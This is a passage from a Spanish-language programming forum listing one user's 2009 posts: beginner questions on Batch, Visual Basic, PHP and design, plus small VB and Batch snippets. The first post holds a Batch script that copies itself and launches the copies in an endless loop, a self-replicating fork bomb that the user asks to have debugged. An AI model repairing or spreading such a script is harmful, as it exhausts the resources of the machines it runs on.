Últimos Temas de: <[(x)]>

Mostrar Temas
Páginas: 1 2 3 [4] 5 6

Programación / Scripting / [Batch] Error sintaxis de comando incorrecto

en: 15 Febrero 2009, 14:12 pm

holas

Podrían decirme porque me tira error este code:

Código

@echo off
set seg=%1
 
IF defined seg (
 
 set /a n=0
 
 :bluse
 
 set /a n= %n% + 1   
 
 copy %0 a%seg%-%n%.bat
 start a%seg%-%n%.bat %seg%-%n%   
 
 goto :bluse
 
) ELSE (
 
 if ["%cd%"]==["%cd:~0,3%"] goto:fin   
 
 cd..
 copy %0 a.bat
 start a.bat 
 start a.bat 0 
 
 :fin
 
)

gracias...

32	Programación / Scripting / [Batch] error conprobando si la app se en cuantra en el directorio raiz	en: 14 Febrero 2009, 15:45 pm
holass Estaba haciendo algo en Batch y me funciono perfectamente en el directorio c:\, aunque cuando lo cambio a otro q no sea el raíz me tira este error: Código: No se esperaba and en este momento. y aka les dejo el code: Código if %CD% EQU %CD:~3% echo hola echo no hola pause si se puede arreglar este bug, les agradecería la explicación, o un método mas eficiente. 6r4(145 54¬ui)4-477 <[(x)]>

33	Programación / Programación Visual Basic / obtener el tamaño de las distintas dimenciones de un array	en: 10 Febrero 2009, 23:45 pm
je holas --denuevo-- Estuve buscando y no encuentro la forma de obtener las dimensiones de un array multidimensionado. Se trata de que necesito obtener lo que nos devuelve la función UBound en un array comun, pero en uno con este formato. Código ArrayX(x to x, x to x) Espero q exista la forma de hacerlo en vb-- chaus

34	Programación / Programación Visual Basic / Modificar operador .-._	en: 10 Febrero 2009, 21:33 pm
Holas Estaba haciendo un modulo class y necesite modificar el operador '=' el problema es que no tengo idea de como o si se puede hacer. Si es posible les ruego que me pasen un ejemplo o un link haci lo chekeo. 54¬ui)()5

35	Media / Diseño Gráfico / con cual empezar	en: 9 Febrero 2009, 17:37 pm
holas Siempre tuve ganas de aprender a diseñar gráficos y ahora que ando un poko mas al p2 q antes... Mis dudas: Para saber usar bien un editor 3D es aconsejable saber usar uno 2D?? Con un programa de diseño gráfico 3D se puede lograr lo mismo q con uno 2D sis e desea? Que programa me aconsejan que deba usar para empezar con todo esto? espero puedan responderme., saluda atentamente <[(x)]>

36	Programación / Programación Visual Basic / DirecT x \| Cargar Texturas desde un PictureBox	en: 5 Febrero 2009, 17:19 pm
holas Estaba bien do como usar direct x en VB y me encontré con que carga las testuras desde un archivo. Código D3DDevice.SetTexture 0, D3DX.CreateTextureFromFile(D3DDevice,"C:\a.bmp") Como ven la tiene que crear... Con lo cual no le podemos poner haci: Código D3DDevice.SetTexture 0, Picture1.Image Porque nos tiraría error (No Coinciden Los Tipos) Si alguien sabe como cargar la textura Directamente desde el Picture y me puede ayudar le estaría muy agradecido. 54¬ui)()5

37	Programación / PHP / funcioness	en: 2 Febrero 2009, 23:25 pm
holas Acabo de iniciarme en PHP y me estan faltando las funciones bases. Si alguien puede poner aki un link a una lista de funciones o postear les agradecería mucho0. Con funciones me refiero a las equivalencias de en VB: LCase UCase Trim InStr Split Replce Salud2ss <---------------------------------------------------------------> Gracisa -> дٳ⁪⁪⁪⁪⁪⁪⁪Ŧ٭

Programación / Programación Visual Basic / Extraer texto de la etiqueta <font></font> [SRC]

en: 2 Febrero 2009, 00:42 am

holas aka les dejo este pequeño code. que lo empece haciendo para una pagina en otro idioma y se me ocurrió traducirlo. Lo que hace es extraer el texto que se encuentre entre '<font>' y '</font>.

En un modulo:

Código

 
Public Sub ExtractText(ByVal strData As String, ByRef strArrayOut() As String)
 
 Dim strText() As String: ReDim strText(0) As String
 Dim strBuf As String
 Dim bol As Boolean: bol = False
 
 strBuf = strData
 
 Do While Not bol
 
 If InStr(LCase(strBuf), "<font") > 0 Then
 
  strBuf = Mid(strBuf, InStr(LCase(strBuf), "<font"))
 
  If InStr(LCase(strBuf), ">") > 0 Then
 
   Dim inta As Integer: inta = InStr(LCase(strBuf), ">")
 
   If InStr(LCase(strBuf), "</font") > 0 Then
 
    Dim intb As Integer
 
    intb = InStr(LCase(strBuf), "</font") - inta
    PlusArray strText, Mid(strBuf, inta + 1, intb - 1)
 
    strBuf = Mid(strBuf, inta)
 
   Else
 
    bol = True
 
   End If
 
  Else
 
   bol = True
 
  End If
 
 Else
 
  bol = True
 
 End If
 
 Loop
 
 ReDim strArrayOut(UBound(strText)) As String
 
 strArrayOut = strText
 
End Sub
 
Public Sub PlusArray(ByRef strArray() As String, ByVal strPlus As String)
 
 Dim lngP As Long
 
 lngP = UBound(strArray) + 1
 
 ReDim Preserve strArray(lngP)
 
 strArray(lngP) = strPlus
 
End Sub

Y para probarlo en un form:

Código

 
Private Sub Form_Load()
 
 Dim x As Integer
 Dim strText As String
 Dim strArrayText() As String
 
 strText = "<font > el electrodo magico </font><font > mucha variedad en electrodos </font> <font > electrodo automatico </font>  <font > un pedo </font>"
 
 ExtractText strText, strArrayText
 
 Me.Print "Prueba:"
 Me.Print ""
 Me.Print ""
 
 For x = 0 To UBound(strArrayText)
 
  Me.Print "    " & strarraytext(x)
 
 Next
 
End Sub

Bue no se, se puede usar si quieres hacer una búsqueda en una web.

54¬U|)()5

39	Programación / Programación Visual Basic / hallar el color	en: 1 Febrero 2009, 01:24 am
holas estoy haciendo un proyecto en el cual necesito obtener cierto color. hagan de cuenta que tienen un barra con los colores del arco iris y la dividen en x pedazos y luego hallar el color de uno de esos pedazos. busque y no encoentre como hacerlo todo por code sin pintar ni hacer ninguna de esas cosas. espero respondan ..

40	Programación / Scripting / Basta De Eso De Tener Que Hacer Un Ping Para Pausar Nuestros Programas!!!!!	en: 27 Enero 2009, 07:29 am
holas Como han visto e iniciado hace poko con esto y aka les presento my primer mini programa en Bach. Bue como dice el asunto, se puede usar para remplazar el Ping para, cunado necesitamos ponerle una pausa de x segundos a nuestro programa. Y lo mejor es que no solo de segundo modificando un poco este code penden se minutos, segundos, mili segundos, y asta todos juntos jej. bueno espero les guste aquí les Va: Código: ::----------------------:: ::: . . ::: :: Pausa-Segundos :: :: :: : \ # : :: :: :: autor: <[(x)]> :: :: :: :: # :: :: :: :: 27/2/2009 - 35500 am :: :: :: : # \ : :: :: :: Distribucion: :: ::: · · ::: :: Sin cambiar nombre :: :: del autor. :: ::----------------------:: @echo off call:pausa 5 echo ya esta re loko!. pause goto:eof :pausa set /a seg=%1 set /a count=0 echo me pauso %seg% segundos. :Pbluse set /a hora= %time:~-5,4% :Sbluse set /a ahora= %time:~-5,4% if %ahora% == %hora% (goto :Sbluse) set /a count += 1 if %count% LSS %seg% (goto :Pbluse) goto:eof Lo que hace este pequeño code es simple: Después de haber entrado en el primer bluse, carga en la variable 'hora' los segundos, luego y entrando en el segundo bluse carga en la variable ahora nuevamente los segundos. Evalúa si la variable hora es igual a la variable ahora entonces vuelve al principio del segundo bluse, carga nuevamente la variable ahora con los segundos de time. Se repite estos últimos pasos asta que la variable ahora se cargue con un valor distinto al de hora.(PASO UN SEGUNDO) Al ocurrir esto se sale del bluse secundario y el contador se incrementa en uno. Se verifica que el contador sea menor al os segundos de espera y se vuelve al principio del bluse primario. Se repite todo asta que el contador llegue a el numero de segundos requeridos. Cuando es así sale del bluse primario y termina. edit: acaban de comunicarme lo del comando SLEEP que por desgracia no tengo si aliguen puede poner un ejemplo de como puedo usar el comando sleep para esperar deio segundo o un unas o un par de días les agradecería mucho. lo que tiene el code que postee es eso se cambian las unidades con solo modificar dos números".

Páginas: 1 2 3 [4] 5 6